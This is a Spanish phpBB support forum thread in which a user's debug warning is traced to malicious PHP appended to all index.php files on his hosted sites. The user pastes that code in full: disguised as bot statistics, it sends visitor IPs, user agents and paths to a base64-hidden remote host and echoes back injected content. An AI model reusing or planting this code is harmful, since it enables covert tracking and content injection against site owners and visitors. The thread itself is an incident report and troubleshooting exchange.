Modo Debug activado solo

[juanjo8995]

Como podreis observar en la url al entrar se encuentra activado el modo debug de forma parcial , ya que no indica el tiempor de carga, pero yo no lo he activado y segun las lineas del config.php deberia estar desactivado y no consigo desactivarlo... si alguien puede ayudarme lo agradeceria mucho. Tengo otros foros copia de este en el mismo hosting y les pasa lo mismo, tiene cada uno su base de datos y todo separado por su cuenta

Código: Seleccionar todo

@define('PHPBB_INSTALLED', false);
// @define('DEBUG', false);
// @define('DEBUG_EXTRA', false);
?>

[Alorse]

Yo no lo veo activado en tu foro, lo único que veo es esto:

Código: Seleccionar todo

Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group
Style by web design www, seo pozycjonowanie stron pozycjonowanie 
Traducción al español por Huan Manwë para phpbb-es.com
phpBB SEO

[leviatan21]

Código: Seleccionar todo

[phpBB Debug] PHP Warning: in file /includes/session.php on line 1040: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:268)

Si lo dices porque te aparece este error, el modo DEBUG no siempre está relacionado, que que tecnicamente no es un error del foro ( phpbb ) sino una advertencia del lenguaje de programación ( php )

Por lo que se entiende de esa advertencia, tienes algún error en el archivo raíz/includes/hooks/index.php cercano a la linea 268 cosa que me llama la atención porque ese archivo original solo tiene 250 lineas, lo que hace suponer que de alguna manera fue modificado, y según tus datos de soporte ninguno de esos MODs requiere modificar ese archivo.

[juanjo8995]

Yo no lo veo activado en tu foro, lo único que veo es esto:

Código: Seleccionar todo

Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group
Style by web design www, seo pozycjonowanie stron pozycjonowanie 
Traducción al español por Huan Manwë para phpbb-es.com
phpBB SEO

en la parte de arriba en la cabecera, espera que tomo una captura...

www.images.igamers.es/capture1.jpg

[Alorse]

Por favor lee lo que te dejo el compañero leviatan21, por otro lado ese error parece que no se muestra en chrome, es extraño

[juanjo8995]

Código: Seleccionar todo

[phpBB Debug] PHP Warning: in file /includes/session.php on line 1040: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:268)

Si lo dices porque te aparece este error, el modo DEBUG no siempre está relacionado, que que tecnicamente no es un error del foro ( phpbb ) sino una advertencia del lenguaje de programación ( php )

Por lo que se entiende de esa advertencia, tienes algún error en el archivo raíz/includes/hooks/index.php cercano a la linea 268 cosa que me llama la atención porque ese archivo original solo tiene 250 lineas, lo que hace suponer que de alguna manera fue modificado, y según tus datos de soporte ninguno de esos MODs requiere modificar ese archivo.

He comprobado y esta es la linea 268

Código: Seleccionar todo

      echo $sResult; // Statistic code end

De todas formas el problema es que se ha activado solo en todos mis foros y yo no he activado nada

[leviatan21]

He comprobado y esta es la linea 268

Ese es el error, en phpbb si haces un echo generará ese tipo de advertencia.

Mira bien que has hecho en ese archivo o que modificación le has hecho, porque como dije en un archivo original no hay tantas lineas y en ningún momento se hace un comando echo

De todas formas el problema es que se ha activado solo en todos mis foros y yo no he activado nada

Como dije anteriormente, es una advertencia de php y no está relacionado con el foro o con el modo DEBUG.
Si todos tus foros tienen ese archivo modificado de esa manera, el mensaje seguirá saliendo, SIN importar el modo DEBUG

[juanjo8995]

y podrias atudarme a solucionarlo ? esque lo llevo intentando todo el rato y no he conseguido nada... no sabeis hasta donde alcanza mi desesperacion... gracias de todas formas

[Alorse]

Los MODs que tienes en tu firma son todos los que hay instalados?
Que estabas haciendo antes de que saliera el error, hace cuanto te esta saliendo?
Alguno de los MODs que has instalado pide ediciones para el archivo /includes/hooks/index.php o porque lo has editado?

Te pido que por favor leas bien las preguntas y respondas a cada una de ellas.

[juanjo8995]

Tengo todos los mods de phpbb-seo pero me acabo de dar cuenta de otra cosa... ni puedo acceder al panel de administracion, y el antivirus, avast me indica que es una url no segura esta que indico aqui http://www.zozo.....

Sinceramente tiene toda la pinta de que se han aprovechado de alguna brecha en la seguridad y han hackeado todo...

[Alorse]

No respondiste a mis preguntas...

Tengo todos los mods de phpbb-seo

Cuales son todos? porque no están en los datos de soporte.
Es complicado ayudarte de esa manera.
Intenta haciendo una copia de ese archivo y luego reemplazalo por el original de phpBB3 haber si te funciona.

[leviatan21]

Intenta haciendo una copia de ese archivo y luego reemplazalo por el original de phpBB3 haber si te funciona.

Y adjunta comprimido con .zip o .rar, tu actual archivo raíz/includes/hooks/index.php y veremos si fue alterado por un hacker o no

[juanjo8995]

He podido solucionar el problema como bien me has dicho sustituyendo el index.php por el original, pero he observado lo siguiente... tengo unos 8 foros construidos en php otro en vbulletin otro site en html y otro con wordpress... la cosa es que hoy a las 6:39 gmt+1 todos los archivos llamados index.php de todas las carpetas de todos los foros, y todos los sites se han sobreescrito, añadiendo al final el siguiente codigo

Código: Seleccionar todo

?><?php    
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL3JlYm90c3RhdC5jb20vYm90c3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            $stCurlHandle = curl_init( $stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle); 
}
?>

y es lo que ha provocado todo este revuelo... para que os hagais una idea habra 50 o mas archivos llamados inex.php infectados que han sido editados a la vez, por lo cual deduzco que ha tenido que ser un bot...

Voy a actualizar mi firma con los mods que tengo instalados por si alguien conoce si alguno pordria tener una brecha en su segurida para dar lugar a tal desastre...

Muchas gracias a todos por vuestra ayuda

[leviatan21]

tengo unos 8 foros construidos en php otro en vbulletin otro site en html y otro con wordpress... la cosa es que hoy a las 6:39 gmt+1 todos los archivos llamados index.php de todas las carpetas de todos los foros, y todos los sites se han sobreescrito, añadiendo al final el siguiente codigo

Por experiencia propia en este asunto te diría que no busques mucho más allá del Wordpress. sobre todo si no es la última version hasta el momento ( 3.2.1 )

Para mas info : Wordpress : Security Problem